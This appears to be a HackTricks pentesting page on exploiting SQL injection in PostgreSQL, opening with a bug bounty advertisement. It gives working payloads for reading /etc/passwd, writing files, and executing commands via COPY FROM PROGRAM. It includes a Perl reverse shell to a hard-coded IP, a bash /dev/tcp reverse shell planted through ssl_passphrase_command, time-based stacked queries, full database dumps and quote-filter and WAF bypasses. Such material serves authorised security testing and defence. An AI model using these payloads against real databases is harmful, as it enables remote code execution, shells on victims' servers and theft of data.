# PostgreSQL injection
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{% hint style="danger" %} **** **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% endhint %} # PostgreSQL injection **This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration **`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.\ **These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.\ [**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) ### **Exfiltration example using dblink and large objects** You can [**read this example**](dblink-lo\_import-data-exfiltration.md) to see a CTF example of\*\* how to load data inside large objects and then exfiltrate the content of large objects inside the username\*\* of the function `dblink_connect`. ## PL/pgSQL password bruteforce PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md) ## File-system actions ### Read directories and files From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).: ```sql select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd' , 0 , 1000000); ``` ### Simple File Writing ```bash copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** ### **Binary files upload** However, there are **other techniques to upload big binary files**.\ [**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md) ## RCE ### **RCE from version 9.3** Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the ‘pg\_execute\_server\_program’ group to run arbitrary operating system commands. ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE with PostgreSQL extensions Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.\ [**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md) ### PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** ![](<../../../.gitbook/assets/image (303).png>) The configuration file have some interesting attributes that can lead to RCE: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database * `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**. * `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**. Then, an attacker will need to: 1. **Dump private key** from the server 2. **Encrypt** downloaded private key: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Overwrite** 4. **Dump** the current postgresql **configuration** 5. **Overwrite** the **configuration** with the mentioned attributes configuration: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Execute `pg_reload_conf()` While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_. **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** ## WAF bypass ### PostgreSQL String functions Manipulating strings could help you to **bypass WAFs or other restrictions**.\ [**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.** ### Stacked Queries Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection: ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - ``` ### XML tricks **query\_to\_xml** This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row: ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client): ```sql SELECT database_to_xml(true,true,''); ``` ### Forbidden quotes If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` Or with `$`. This queries return the same results: ``` SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ```
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